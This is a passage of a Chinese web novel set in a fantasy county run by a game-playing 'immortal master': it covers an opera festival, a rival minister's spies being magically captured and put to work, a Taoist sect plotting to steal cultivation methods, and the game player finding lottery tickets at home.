再加上上台的戏班子不像是原先那般敷衍了事,各个精神饱满,吐出来的戏曲浑厚有力,一时间惹得百姓叫好不已。 就连平日调皮的小孩子们也被吸引了注意力,这会甚至不用父母看管,直勾勾盯着戏曲台看去,连口水流出来都不曾发觉。 这第一出戏曲唱的是包青天断案的戏曲,中间惹得不少人抹泪动容,骂那杀妻的状元郎不是个好玩意,等到看到结局后,众人倒是个个拍手称快。 趁着第一出戏曲结束,第二场戏还在准备的空挡,立即便有挽着篮子出来售卖吃食的小孩子进来了。 岁数都不大,几乎各个都没超过十二岁。 想来或许是家里人在外面摆摊,让孩子趁着中场休息时进来售卖一些。 卖的吃食有炒瓜子花生,烤红薯,炒栗子,山楂球这些,大都是一些打发时间的小零嘴。 里正家的孙儿们眼巴巴地盯着售卖烤栗子的小童看了又看,最终里正拗不过,给一人买了一包当做零嘴吃。 “这果壳别乱扔啊,还记得阿爷说过的话不?这些东西要自己处理,不然一会谁乱扔,别想出去了。” 几个孩子忙点头,和小鸡一样乖巧,里正倒是难免松了口气,看了看周围,若是有买吃食的人,做法都和他一样,毕竟他们从进来时就被提前告知了需要自行处理垃圾。 要知道仙师在百姓的眼里分量有多重,这命令哪怕不是直接来自于仙师,也不敢有人去存心反抗。 不过其实这条规矩是方知意下令而已,不然等人散开还需要处理垃圾,实在是浪费时间,不如规范每一个人来得更快。 等到中场休息结束,戏曲继续开唱,众人各个情绪激昂,却又只敢互相交头错耳,低声谈论。 戏曲一直唱到下午六点才结束,不少人开始考虑返程回家,也有人打算多住几日,好多听听。 尤其是对比过来回费用,还不如住宿更合适。 里正便是如此,今日的戏曲让他听得颇为舒心,自然要去找住宿的地方,好明日继续听。 倒是没想到,县内住宿的地方竟然这般抢手,这会,竟然是难以找到落脚之处。 连续碰壁数次,里正甚至都要生出回去的心思时,倒是被熟悉的声音喊住。 “里正?这么晚了,怎地还在县内?也是来听戏的?” 说话的人正是张氏,她拉着自家闺女,看着像是回来了一会了。 里正不免叹气。 “正是来听戏的,只是为何这住宿这般难找,一时半会,竟然都住满了。” 张氏解释:“自从那七日戏曲的消息放出去后,像样一些的住宿全都预定出去了。眼下这个时候,更是难找。 里正若是不嫌弃,可以去我店铺和店员们住一起。” 里正有些犹豫:“这会不会太叨扰了?” 张氏倒是淡淡微笑:“有何麻烦的,原先您也是经常帮扶过我们家的,如今不过借宿几日,又有何难?只是不要嫌弃住宿条件简陋。” 里正心想有个地方住不错了,他还能嫌弃怎地。 这会跟着去了甜点铺子,等看清楚那标着“张氏点心铺”的招牌后,里正难免有些恍惚。 ——等会,记得以前招牌似乎没这么大?再打量一番,似乎觉得店面也变大了? 一时半会倒是怀疑是自己记错了,还是确实扩张了。 最后还是张氏开口解释:“确实扩张了,原先铺子太小,后面实在是跟不上卖的速度,不若直接扩大,好痛痛快快经营买卖。” 里正看着眼前颇为气派的铺子,一时间倒是多有感慨——想当初张氏不过是一农妇,谁能想到她能做到如今这幅光景?能靠自己打拼出如此成就,不可谓不惊人。 几人越是靠近张氏点心铺,一股浓厚的甜香味便沿着铺子飘了出来。 几个孩子微微蹙鼻,眼睛笑得眯成了一条缝。 “阿爷,好香的味道!” “阿爷,我是第一次闻到这个味,这是什么呀?” 几个孩子好奇地瞪大眼睛,里正心里尴尬。 住宿已经够打扰张氏了,如今孩子们说出这话,岂不是和求着吃白食一样? 忙呵斥他们:“别乱说话。” 倒是张氏笑呵呵:“里正不必见外。我这铺子开了数日倒不见你带孩子们过来,今日既然来了,自然要让他们尝尝我做的吃食。” 这怎么行,这点心铺他听说卖得还挺贵的,他是没脸舔着个脸免费吃人家东西,这会忙开口推脱:“他们都吃饱了,还能吃什么,给他们吃就是糟蹋好东西。 你那点心留着卖去。” 说话间,一行人已经到了铺子门口,进去后,正好看着最后一拨买家拎着点心离开。 店内比里正想象的宽敞,且那股甜香味更为浓郁了。 这会他死死掐了一把最调皮的孙子的手心,低头瞪了他一眼,警告他不许乱开口。 这才和张氏又聊了几句。 张氏将他们引到了一个小房间,屋内干净,除了床以外,只有一个盆子作为洗漱用。 “这房间暂时空着,就是确实简陋,只能让里正您凑合住了。” 屋内这么干净,又有暖气被褥,还有个盆子能去接温水洗漱,甚至还配给了一块毛巾,里正觉得这条件已经很不错了。 和张氏继续说了一刻钟的话,主要是谈了谈张山目前在村内的情况,以及如今斗坡村到底为何模样。 等到听清楚村内发展并不落后于风仙县时,张氏倒是难免心里熨烫——毕竟她的根就在斗坡村,谁能不希望自家好? 时间也不早了,茶杯里的茶水也喝得差不多见底了,张氏给他介绍了一番院子里的设施,又指了指厕所位置,这才告辞离开。 里正松了口气,正要指挥这几个兔崽子去洗把脸睡觉时,却听房门被敲响。 等打开,是个陌生的圆脸男子,正端着一盘子点心。 “客人,我家老板的意思,还请给孩子们尝个味。” 里正顿时脸烧得通红,哎哎哎了半天。 “这如何合适?怪金贵的东西给的太多了,几块就够了。” 眼看里正还在推脱,这圆脸男子赶紧将东西放下,一脸愁眉苦脸。 “您就收下吧,不然一会老板该骂我连这点小事都做不好了。” 说完这话后,这圆脸男子一溜烟跑远了,里正端着盘子追了两步,因害怕将糕点颠撒了,这会没能追上,开口去喊,都没能把人喊回来,这会无奈端着盘子又进了屋内。 几个孩子倒是眼睛发亮,各个凑过来要吃。 里正叹了口气,心里晓得是张氏的意思,这会挥挥手,索性让他们吃个痛快。 那股甜味在空中蔓延,他也跟着捡起一块,咬碎后在嘴里慢慢品味——别说,这味道是真不错,内料丰富,层次多变,他甚至都想回家时买一些带回家。 而几个孩子则是吃得满嘴掉渣,还在嘟囔着好吃。 里正抽搐嘴角,忍了忍,还是没忍住。 一人给了一个暴栗。 “阿爷平时就是这么教你们吃东西的?掉得满地都是!” 第190章 忽略 风仙县的七日戏曲还在继续开设,而从黎州前来廖尚书的私兵这会已然到达城门外。 这群私兵正是驾马而来,等越是靠近风仙县越是小心翼翼,从骑马改成步行隐蔽,目的就是为了更隐蔽。 毕竟先前廖尚书曾说过这地方颇为棘手,神不知鬼不觉的带走了那祝家二人,想来对手也是强的离谱。 所以才会派遣他们而来。 带队的是一戴着黑色斗笠的人,其余人则是为戴了竹色斗笠。 一行人暂且埋伏在风仙县,这会正派人靠近打探情况。 不出片刻,那负责打探情报的人终于回来,但消息却让众人大吃一惊。 “你说什么?那城内正在唱戏?” 黑色斗笠瞪大眼睛,一直保持的冷淡感这会顿时被冲淡了不少,那人忙开口道:“确实如此,那唱戏的地方离开城门很近,所以才能听到,且属下听闻那戏曲要连续唱七日。” 七日?好大的排场。 要知道现在就算是黎州元城,天子所在的地方,最多不过三日而已。 如何能被这一小县城越过去? 一时间,队伍情绪复杂——越过圣上,那便是想要谋逆。 毕竟先前圣上曾亲口说过,县级别的话,只允许官府唱一日戏曲。 倒有人试探开口:“万一是豪绅一起花钱举办的呢?我们还是需要继续排查,毕竟此事重大。” 黑色斗笠陷入沉思。 谋逆论断需要多次排查后才能确定,不然这若是出错了,可是要掉脑袋的。 自然是命一队人伪装后进入城内。 至于人手,他们挑选了较为厉害的人手,至少有意外发生的话,他们至少可以保命迅速返回,不至于会丢了命。 当然,选择这一队人时还花费了一些时间,好在最后总算是顺利出发。 除了这一支队伍外,其余人则是等在门外静待时机。 ——首先,得等城内的人发送可以继续前进的消息,他们才会继续前进。 而率先入城的这批人,这会假装成流民入城,好在守门的官兵并未发现他们的异常,将他们全部放行。 等到一众人入城后,各个互相看着对方,倒是露出一抹自得。 看来还是想多了,要知道一个防守良好的地方,首先就不应该让他们能够这么顺利的进来。 而与此同时,守城官兵抽搐的嘴角隐藏在盔甲下。 应当是仙师施加了仙法的缘故,这些别有用心之人的脑袋上会标记着极为显著的红色倒三角,只要有眼睛,就不会错放进去人。 这一队人脑袋上标记的便是红色标记。 让一队人悄悄地跟上这些人,而后他们暂且没声张,想试试看是否还有别的敌人在城外等待着进城,毕竟先前的景旭宫俘虏早都不够用了。 赶紧进来啊,城内很是缺人干活啊—— 在心里暗自琢磨了一会后,众人将眼神挪开,假装自己一行人压根没发现什么异常。 而负责监视官兵们倒是盯这些闯入者盯得很紧。 虽说他们脑袋上有独特的记号能让人看清楚,但是那也要小心。 话说回这记号问题,只有他们官兵们才能看到,应当是仙师将仙法施加在了他们身上。 姜定:???不是,游戏自带的功能啊! 而此时,这一队人则开始小心谨慎的观察着风仙县内的状况。 只是为了加快效率,他们确定了交接地点,分开行动。 等到在城内迅速转了一圈,大概花费了一个时辰,这群人这才集合,这会脸色各个惊疑不定。 显然是陷入了极大的震撼中。 “这地到底是何地?仅仅是那难得的昭华灯竟是家家户户都有。” “更要命的是,他们竟然屋内暖气是统一供应的!” “此话当真?要知道就算是黎州目前也仍是采用炭火供应取暖。” “如何不当真?一开始我以为是隐藏得太好,但仔细观察一番,那儿根本没有能藏东西的地方,为了证实,我还打听了一番,确实为统一供暖。” “大手笔——这到底得花多少银两?” “难以估量。对了,那唱戏我也打探清楚了,七日联合戏曲,由十二家戏班子组合而成,由官府牵头举办,看来这县内的这位确实想要造反啊。” 这会他们各个震撼,哪还有心情继续说些有的没的,全都在考虑一个问题——这背后的人到底是谁,要知道这番手比都快比圣上都要大方,且更要命的是,根据他们打探的情报,此地竟然开设了学堂,任何品德没问题的人都能进入学堂学习,不在乎任何其他的限制条件,且一年只收一两银子。 这和白给有什么区别? 他们虽说没太多读过书,但是读书费钱谁不知道? 当然,最令人惊讶的还是此地百姓的状态。 ——至少他们所遇到的每一个人,眼睛的深处都含着一种对生活的希望。 给人一种只要活下去就会慢慢获得一切的错觉。 这感觉实在是诡异,毕竟他们从黎州而来,途径风仙县的一路上,遇到的人多了去了,哪遇到过这样的百姓们? 但这些人过于统一,形形色色的人或许有着形形色色的麻烦,但眼底相似的希望是压不住的。 众人难得沉默,还是有人嗓音干涩开口:“此地的人都颇为信奉仙人,不过到底是真的仙人,还是一个噱头,我们并不知晓。” 其实亲眼看到这里,他们心中那点理智几乎都要消散。 来之前,他们觉得仙人是最扯淡的答案,毕竟这种事看多了,只是权势争斗造势而已,但当他们亲眼看到这一切后,这个最不可能的答案竟然成了最能让人接受的答案。 不然呢,——能做到这种地步的,除了仙人,还有谁? 若是真是人,那简直是强到变态。 众人互相交换情报,确定这城内暂且没威胁后,这会倒是给城外的人发送了一个消息,好让他们也可以陆续进来。 而城外等待着众人则在看到消息后,微微放心。 ——这情报只有他们才能读懂,不存在有外人欺骗的可能,再在心里计算一番这一队人所花费的时间,也在平时正常探索时间内,这会倒是放轻松。 不过黑色斗笠依旧很警惕,只是派出另一只队伍,打算等这支队伍回传回消息后,他们再一起进入。 本来眼看着进城的人将消息传递出去,他们刚想动手,结果立即被阻止。 等看清楚那城外之人只进了一只队伍后,城门口负责盘查的官兵也觉得此次敌人应当比较棘手。 毕竟就这警惕心吊打景旭宫了。 依旧是不动声色将此队放进去,等到两支队伍汇合,再次探查一番后,这会才彻底放松,将那预示着安全的消息发送出去。 而死死等在外面的众人在看清楚那预示安全的消息后,终于决定一探究竟。 等到守城官兵在看到不少脑袋上冒着红色倒三角的人群后,这会简直要乐开花。 ——不枉他们努力这么久啊!现在看来大部队进来了。 一会就能收网了。 为了不打草惊蛇,官兵决定同时行动,在同一时间对这两队进行捕捉。 而等黑色斗笠带着人通过检查,走到城内时,眼下倒是天黑之际。 数百盏昭华灯将黑夜照得恍如白昼,让他不自觉眯起眼睛细细打量眼前。 等到看清楚此物确实是黎州炒得极为难得的灯具时,他难免心头一跳。 ——不是惊叹,而是恐惧。 如此有实力的县域,入城官兵不该对他们毫无审查,如同那等不曾受过训练的草兵一样将他们放进来。 一个陷阱! 几乎瞬间,一股前所未有的巨大恐慌感席卷了他,多年来做任务的第六感蹦跶出来,脑内大叫着让他赶紧撤退,而此刻,身体却是压根动不了地方。 等等,身体动不了? 黑色斗笠眼瞳紧缩——等他试图运转功力,却该死的发现浑身僵硬如铁,一动不能动! 不仅仅是他,别的戴着竹色斗笠的人也是如此。 一时间,黑色斗笠倒是难免额间淌了些冷汗——该死的,被一网打尽了! 这会他们状态僵硬,别说动手,就连将嘴里的毒药咬破这个简单的姿势都做不到。 这会就看官兵们走来,极为专业的掰开他们嘴巴,从嘴里掏出一颗颗毒药。 黑色斗笠难免心生绝望。 毒药都被拿走了,一会面临的审讯定是颇为熬人,最重要的人,定会有人熬不住折磨,将那情报吐露出去。 这会心中煎熬,斗笠下的脸早就黑了又黑。 要怪就怪这等诡异的术法,将他们定身在原地。 想到术法,黑色斗笠不免想到了那景旭宫的招数——或许此地有不少道士,至少这恶心人的手段就是这些道士弄出来的。 前来的官兵搜查到他身前时,他不免恼火。 小小官兵,以往不过是草包走狗,如今却借着那道士的光来他们面前耍威风,简直不知死活。 他作为廖尚书的私军,岂能如此没有尊严的被他随意摆弄? 黑色斗笠已经想好了一会要说的话,若是对方羞辱他,他定要好好让他们知道,他就算是要死了,也绝非是他们能够折辱的。 这会心理准备都做好了,结果眼前之人并非像他想的那般会对他重点关注,反而只顾着冷漠的掏着他嘴里的毒药。 不是?等会他的斗笠颜色不一样啊!这换个有心眼的人都能发现他是领袖吧?!!! 这会只能干瞪着眼前之人,内心无比崩溃地感受着对方的手指粗暴的在他嘴里摸索着毒药,差点扣到他嗓子眼,惹得他喉咙抽搐。《 》 190-200 第192章 节 屈服 真没招了 显然来人没什么经验,最后好不容易才将他嘴里的毒药掏走。 而与此同时,其余人则是将他们五花大绑,送入牢房。 等身体能动弹时,黑色斗笠也因为被绳索捆得死死的,眼下无法挣扎开来。 这会不免心中一阵凝重——该来的还是要来,想必之后面对的便是前来审讯的人了。 正想着无论如何都不能吐出情报时,倒是连续三天没等来审讯的人。 好在这三天敌人倒是给他们吃东西了,虽然说每日只有一顿饭,但是对于他们这种经历过特殊训练的私兵们来说,这点饭菜足够他们有力翻盘了,这会不免心中对敌人放松了几分——想来是没什么过多的戒心,但也有种可能是对方完全不带怕他们的,所以才对他们无所忌惮。 两种可能性里,理智告诉他应该是第二种可能性高一些,但是实际上,他心底却不愿意承认。 三日后倒是等来了前来审讯的官兵,黑色斗笠拧着眉冷笑:“你们休想从我口中得到任何情报!” 话音刚落便被眼前的官兵踹了一脚。 “谁乐意听了?别装死,情报不说没事,活你要是偷懒,可别怪我们鞭子下不留情了。”??? 黑色斗笠还愣在原地,那一脚虽然挺疼的,但是比不过此刻内心的冲击,这会一时半会呆愣在原地,结果就看到对方脸色颇为嫌弃的催促他。 “快点,不然一会你干得活最多。” 不等他继续动作,便被两人一左一右拉着出了牢房。 ——冷静,这种情况若是不直接审讯,那便是要将他直接投入水牢,或者是别的更为恐怖的地方,至于为什么是做活,恐怕是他们这里特别的叫法。 莫非对方已经知晓他是首领,且态度坚定,打算直接先磨一磨他的锐气,然后再次审讯? 这情况也很多见,黑色斗笠不免神色肃穆,想到一会可能要有的折磨,虽说心底微微发寒,但此刻更多的还是一种淡然 廖尚书虽说不是什么好人,但在这世道,是廖大人给了他们家人一个活路,一个只需要他卖命,就能换得家人平安的机会。 既出生于乱世,又有一身武功,家中父母还需药治病,走投无路,还是廖大人给了他活路。 这条命如今就算为了廖大人而死又如何? 心中早就做好决断,黑色斗笠甚至想好了一会自己能坚持多久。 而等到他被押送着来到目的后,刚一抬头,便看到还正在建设的城镇,难免心中微微愣神。 ——这是何意,这里看着也不像是惩罚人的地方啊。 看来看去,只有附近的小房子里最有可能是某种折磨人的密室 前脚刚发下毒誓,后脚便被两个官兵无语的踹进人堆。 “有完没完,别磨磨唧唧的,就等你了,别人都来了。赶紧干活!” 这会那群竹色斗笠忙扶着在家老大,出口安慰:“老大,没事吧?我们早就来了,这里就是单纯的干活啊” 黑色斗笠懵了,而后想到自己刚才的发言,顿时一窘。 再看看此刻他们居然真在老老实实干着活计时,黑色斗笠不免想吐血 对方竟然敢把铁链都摘下,就放任他们这般干活? 这会掐着手下的手快要掐出血来。 “你等就这样妥协了?能对得起廖大人吗?” 被掐住手心的人疼得颤抖,这会注意到自家老大郁闷且不敢置信的眼神,忙压低声音解释。 “别冲动啊老大,我们早就试过了,这里甚是古怪,应当是他们施加了某种术法,若是想反抗的话,便会僵硬在原地不能动弹,我们这般都是因为术法的缘故,所以才会如此啊” 黑色斗笠不信邪,自己试了一番,发现确实如此。 这术法精妙异常,若是生出想要逃离的心思,便会禁锢四肢,而若是那逃跑的念头消失的话,倒会重新恢复原样。 ——恐怖,这到底是如何做到的?怎会有术法能够监测到别人脑内所想? 一时间,黑色斗笠心中不由胆寒,这会收了逃跑的心思,好在片刻后,他倒是能再次移动了。 这会手下小心翼翼开口:“老大,这有任务的,若是没完成,今晚没有饭吃。” 说完,还给他指了指他需要干的活计。 看到手下这番乖巧干活的模样,黑色斗笠顿觉一阵无力。 怪不得对方压根就懒得审讯他们,这是因为对方的审讯其实此刻就已经开始。 既然能用此秘术确保他们无法逃脱,与其逼迫他们,还不如让他们自己受不了后去主动招供对吧? 即便是知道对方想法如此,但眼下毫无办法,既然被这术法死死困住,那便只能走一步算一步。 他并非没受过审讯,所以这次审讯也定会熬过去。 等到辛苦干了一条活后,吃上了热腾腾的饭菜,一时间,众人难免心中舒坦——这待遇可比俘虏待遇好多了。 这会众人各个低头吃饭,虽说心中都觉得还不错?但是各个都不敢开口。 而作为首领,黑色斗笠的脸也是微微凝固。 好手段,竟用这种方式来软化他们的抵抗之心。 要知道对于这群死士来说,来硬的确实不如来软的。 这会冷脸吃了一口饭菜,脑袋已经被这饭菜的滋味微微炸开花,这会庆幸自己戴了斗笠,遮盖住了不该有的表情。 ——奇怪,这食材为何他竟然吃不出来到底是何物? 仔细咀嚼,也不曾品味出到底为何物,除了炒菜以外,还额外供给一像撒了糖的主食,吃起来颇为美味,但可惜的是,也不曾知晓这物名字。 因为饭菜滋味确实奇特,一时间,众人均是静默吃饭,不敢有任何多余的话。 作为首领,黑色斗笠觉得自己得说出点话鼓舞一下士气。 “我等应当先填饱肚子,这才能保留体力,省得日后有机会也逃不出去。” 众人忙应是,实际上暗自松了口气——太好了,不说别的,他们还想多吃几口啊。 本以为这饭菜不会持续几日,黑色斗笠心想或许是对方的计谋,前期先给他们点好处,等到中期若是还不将情报交出来,便会让他们好看。 可惜好几天后,别说有所改变,对方竟然是连个看管他们的人都没有??? 每天就是给他们押送过来,然后就开始散养让他们干活,当然了,下午收工时,倒是能看到这群官兵又来了,挨个检查他们活干完了没,若是干完了那便押送回去,若是没干完,就压着用鞭子抽一顿,久而久之,众人倒是和对方形成了一种诡异的配合。 这时间稍微一长,这种简单的生活已经让众人微微适应。 反正每日就是干活,而后等着开盲盒,看看今日饭菜,再回去睡觉,规律得要命。 不说别人,就连黑色斗笠觉得自己距离堕落也很近了。 不说别的,他倒是还从未遇到这款逼供啊,哪有直接忽略他们,只让他们吭哧吭哧干活的? 战战兢兢画符咒的景旭宫外门弟子:???不是,兄弟,你们比我们好点啊,好歹没经过审讯那一环节啊!我们现在不也乖乖干活着呢?! 这来了挺久了,情报对方一点都不着急,甚至都懒得问,倒是监工监得严实,一时间让黑色斗笠产生了种错觉。 等会,他记得自己是个死士啊,这会差点要以为自己是个经常干苦力活的工人了??? 正在怀疑人生,便听到手下正在低声小声讨论。 “猜猜今日饭菜是什么?” “豆腐炖粉条,我猜的。” “昨天才吃过,换一个换一个。” “不行,俺爱吃这个,那玩意是真好吃啊” 原先他们倒是不知道那些稀奇古怪的东西叫什么名字,但架不住好奇,这种事也不是什么机密,一来二去,倒是拼凑出来这些菜色的名字。 一到闲暇时,众人便会无聊的猜测饭菜种类,而后等饭菜送来时,大吃特吃 默默围观全程的黑色斗笠表示心情很复杂。 这会欲言又止,止言又欲,最终沉默着吃饭,躺平接受。 不是心态好,是真没法了。 而与此同时,远在黎州的廖尚书则正翘首等待自家私兵的消息,可惜等来等去,等了得快有一个月了,这会一点消息都没能等到。 不由内心惊涛骇浪。 ——这些死士的家人还靠他养活,不可能说是叛变,但自从到了那风仙县后便不曾有过消息回馈,便只剩下一种可能,那便是被全灭了? 心中划过这抹猜想,但迟迟不敢确认。 直到又等了半个月,音信杳无,这才确定这批死士可能是真死了。 这会不由地暗骂一声。 “废物,全死了,好歹传个信回来!不知道养你们有何用!” 一时间恼火外加上恐惧,他立即命人停了对死士家人的供养,偷偷将这群人全都赶走。 当然了,这件事做得私密,倒是不曾让人察觉。 倒也不是为了银两而心疼,主要是泄愤。 这会一想起那风仙县内诡异连连,再想起那同样是去了就毫无音讯的祝家二人,这会廖尚书的冷汗就下来了。 ——不行,他得赶紧从这祝家脱身,万一日后那风仙县的煞神找上门来,亦或是圣上因为他是祝家的亲家缘故让他带队去那风仙县一探究竟,他左右都是个死。 不如趁着能脱身的时候赶紧脱身,离这等烂摊子远点才是上上之举。 第191章 提升 景旭宫内。 刀无痕正垂头将自己所打探到的情报一一告知景旭宫内。 等到景旭宫那几位在听到刀无痕此人所说的话后,倒是陷入沉思。 ——他们先前派出的人早就折损在那风仙县了,倒是没想到,此人竟然能带着新情报回来。 据刀无痕所说,那些外门弟子被全部捉走为风仙县所用,且在那风仙县内有一潜灵山,这山大有玄机。 永道宫众人自上去后不知道修炼了什么术法,竟然各个实力暴涨不少。 本来景旭宫这些长老们想着不然暂时当风仙县不存在,毕竟这里实在是危险,目前他们暂时没有太好的办法去对付这风仙县,不如先让他蹦跶片刻,而后等后续机会积累机会再将这风仙县扳倒。 但当听清楚那所谓的不知名术法竟然能让人实力暴涨,一时半会,几人都坐不住了,要知道他们作为道士,自然最看重的还是修炼,这修炼一事既然有突进,那定是永道宫遇到了某种机缘才是。 这么一想,景旭宫几人顿时面色难看——若他们就这样避开风头,等到日后时,不说风仙县内这不知名的存在,恐怕是连永道宫日后都能踩他们一脚了。 思考到问题的棘手程度后,几人互相对视一眼,便开始询问刀无痕是如何进入风仙县不被发现的。 等到听说他是没有携带任何符咒,这才进去后,几人开始想着还有什么别的办法能做到带进去符咒。 毕竟符咒对于他们来说如此重要,若是没有符咒,进去后战斗力要下降多一半。 且按照这么说的话,那城门估计会识别出任何一种有道法波动的存在,简而言之,不仅仅是符咒,可能别的制物也用不上比如炼器,丹药。 这可能都会被检测出来。 倒是有一位长老慢慢开口:“远距离传送术法如何?可派一人先进入风仙县内接应,等我等用传送术法将物品传送入城后,想来能逃过城墙的识别。且那城内也有永道宫道士,和被俘虏的外门弟子在制咒,空中能量波动,想来无法分辨出城内的能量到底来自于谁。” 这个想法其实有望实现,且听起来非常具有可操作性。 很快,刀无痕收到了景旭宫作为内门弟子的奖励,除了能进入宫内学习术法外,别的资源也是一并供给。 至于再探风仙县的任务他们没让刀无痕去,而是从内门弟子里挑选了一部分精锐,而后由一位长老带着打算去试探一番。 当然了,临进前,他们是必须要小部分试探一番,等确保无误后再进入。 至于刀无痕,他们商量后觉得此人还算是有些能力,现在送他去风仙县和送死没两样,不如先在宫内继续修炼,等日后修炼得到位后,再替他们卖力更合适。 景旭宫内一众优秀内门弟子收到了命令——前往风仙县,潜灵山,去找到对方为何会加快修炼速度的原因,如果是新的功法,必须不计一切代价拿回来。 与此同时,景旭宫联络到了早就安排在永道宫内的钉子,让对方时刻注意近期永道宫的去向,且如果有那等功法存在的话,必须第一时间回报回来。 倒是还没白问,安插在永道宫内的钉子回报回来新情报。 ——永道宫的总部出现了,就在风仙县,据说那里还有永道宫活着的老祖宗存在,且目前的话,永道宫采取的是考核制,只有考核通过,才会被带着前去风仙县。 据插入的钉子户所说,他应该在下一批次就能顺利选上,然后前往永道宫总部探探消息。 除却此消息外,倒是让景旭宫上层对永道宫产生了一丝好奇和迷惑。 ——都是老对手了,以前不曾听过对方还有什么总部,什么老祖宗啊? 再加上这所谓的总部老祖宗出现的时机也是足够巧合了,且都在风仙县,很难不让人多想。 他们倒是对永道宫的性格也熟悉得很,若是真有这所谓的老祖宗什么的,想必以前被景旭宫赶超上来的时候早就去找老祖宗求救了,但原先永道宫被他们欺负到最惨的时候都没去求助,反而现在平静下来了,对方反而开始有新动作了。 这无论怎么看,都感觉像是他们从那里寻到了机缘,亦或是直接投靠了那神秘人? 这想法是眼下最为可能的猜测了。 一时间,景旭宫几人不曾开口,各个都感觉到此问题的棘手。 ——若是运气好,学到了某种术法还好,到时候抢过来便是,但若是对方靠着投诚才有这般收益,他们又该如何自处? 正是咬牙切齿之际,其中有人慢慢开口道:“前些日子,池长老最后消失的地方,我等派人前去探测,有了新发现,那地竟有除了我等景旭宫以外的术法存在,且实力强悍,绝非是普通道士能做到的,且更为凑巧的是,当日邱长老所亡的那股术法,我等在那地方也探测到了同样的一丝术法痕迹。” 幸亏他们家大业大,库存里有很久以前某位大能留下来的探测仪,这才能探测出这痕迹来,不然还真发现不了。 几人默不作声,记忆又瞬间回到那个堪称噩梦的下午。 当时负责探查邱长老当日在风仙县记忆的正是池长老,但谁能想到,如今池长老早已身死。 那日发生的事还是不曾被他们所知晓。 连人都没见,却被对方杀死,困住了这么多自家宫内弟子,一时间,几人对这次探查都十分谨慎。 “库里能派上用场的都带上,且更为重要的是,定要小心。” 但谁都没提因为危险而不去这话茬,毕竟若是放任永道宫继续按照那样变态的修炼速度修炼下去,他们景旭宫迟早也要完,还不如趁着现在对方刚刚开始,优势不明显时出手解决此事。 这边景旭宫安排好了此事,而永道宫内的众弟子则是铁了心想尽快通过考核前去总部。 先前他们曾写信询问师兄师姐,本以为会收到具体一些的情报透漏,但很可惜,这次并没有,师兄师姐们只是示意让他们有机会的话赶快过来,别的倒是不曾开口,看来是那边不让回复的太细致。 但既师兄师姐都一致让他们快一些通过前往总部,想来那里定是不错。 众人铆足了劲的修炼,学习绘制符咒,炼制丹药,都渴望着能尽快通过考核,跟随长老一起过去。 仇师祖看着众人学习性质高涨,生怕他们底子打得不严实,平时有事没事就会去看看,然后指点一番。 “修炼是好事,但是若是过渡修炼伤害了本原就是得不偿失。 你们不需要太着急,能通过考核的前提是我认为你们底子足够扎实才可以,像是那种靠着投机取巧得来的进步,在我这里是绝对没办法通过的。” 警告完众弟子后,仇师祖这才慢悠悠地踱步回去继续修炼。 ——他目前自然也在修炼《青梧引》,毕竟小辈们都在修炼,他作为师祖不炼实在是说不过去啊。 再加上此术法实在是颇为逆天,不修炼都是傻子。 得感谢仙师送来的沼气池,虽说现在是冬天,但仇师祖从没觉得哪一次的冬天这么温暖宜人,至少到目前为止,他的老寒腿没复发过。 风仙县。 七日联合戏曲结束的当日,百姓们各个往看台上投放着赏钱,亦或是别的吃食。 唱戏的戏子们行礼,人群在欢呼。 等到彻底结束后,最热闹的便成了看台附近的小摊位。 有吃的喝的,玩乐的。 难得有休息放松的时间,大多数人会选择带着孩子出门逛逛,毕竟一年到头来实在是娱乐项目实在是少,眼下趁着唱戏的机会,这些小商贩们倒是吆喝着卖着糖人,糖葫芦,灯笼,剪纸或者别的小玩意。 这儿俨然成了最为热闹的地方,一打眼看过去,这附近都是穿着有些统一的棉衣,戴着厚帽子,左右手各自拉着自家孩子,站在摊位前笑着说些什么。 也有百姓聚集在一起谈论着刚结束的七日联合戏曲,各个神采飞扬,精神气十足。 “那最后一场戏唱的是仙来吧?我没看过这戏,可真好看,仙人的扮相看着颇为仙气飘飘。” 立即有人附和。 “那是赵家戏班,他们编的最好的戏曲便是仙来,我听人说过,当初逃亡路上还遇到过他们唱仙来这戏曲呢。” “有一说一,那仙师扮相的戏子是不错” “和仙人还是有差距的” “要求别太高了,仙师那可是神仙,能有仙师几分神韵便是极好了!” 一时间,众人哄笑,又说起别的事。 “听说了没,新的流民打算往玉县安置了。” “玉县?那地方以前是种粮食的地,但之前被那些人早就毁得不成样子了,如今是打算让人过去修建?” “定是如此,毕竟以后来的人越来越多,咱们风仙县就算是扩建了也不够这么多人住啊!” “别说,刚才我还看到那寄信的地方全是往外寄的信件,依我看,日后来投奔的人只会越来越多” “这般看来,幸亏咱们本身就是风仙县的人,风仙县日后定要发展的比别的县好。” 议论什么的都有,但相同的是,整个风仙县的氛围是前所未有的轻松,这七日戏曲不仅仅是一种娱乐,它更像是一种精神安慰,抚慰了百姓们疲惫麻木的心灵。 与此同时,在姜定不知道的地方,满意值已经升至60。 第192章 刮刮乐 在连续高强度打了一周游戏后,姜定这才在姜妈的催促下去洗之前自己扔进洗衣篓的脏衣服。 房女士是绝对不会惯着他的,像是做家务一类的,一般都是他自己负责自己的事,偶尔还会负责全家的事,用老妈的话来说就是工作没找到,就在家里干点活算了。 正是挨个掏兜时,姜定倒是慢慢悠悠从兜里掏出来两张刮刮乐? 等会,这刮刮乐什么时候买的了? 姜定回忆一番,记忆迅速锁定上周去参加同学聚会时的。 对了,他捡了一百块,买了两张刮刮乐,剩下的打车了。 将刮刮乐放在洗衣机盖子上,他这才将脏衣服塞好,倒上洗衣液开动。 就着一小会的功夫,竟然忘了那放在洗衣机盖子上的刮刮乐。 眼看已接近下午爸妈下班时间,姜定又开始做饭,刚做好三菜一汤,门已经被爸妈推开。 姜定忙扯出笑凑过去,——上次老爸说了,游戏内抽中卖出去的46万,要给他全款买一辆车! 这可是大好事,只不过最近因为爹妈都加班,所以一直没去而已。 本想开口狗腿子溜须拍马一下累不累,就听两人羡慕开口。 “咱们这儿真有人中奖了一百来万?” “那彩票店横幅都拉出来了,写着中奖一百五十万!一等奖,二等奖都被一个人刮走了!” 听到爹妈的对话,姜定不免好奇。 什么人这么厉害,买个彩票还能中奖一百五十万,更离谱的是包揽一等奖和二等奖,这用概率解释也不合理吧? 难道是背后有人操作的? 想到以往网上大伙说彩票是骗人的,这会姜定倒是突然觉得,或许他们说得对,这中奖怎么看都不像是正常人类能做到的。 这会还劝他们:“都是假的,哪有那么凑巧的事,一二等奖都让一个人拿走了,吃饭吧,一会要凉了。” 姜爸叹息一声,觉得姜定这话说得也没毛病,这会洗手后坐下来吃饭,一脸的羡慕嫉妒恨。 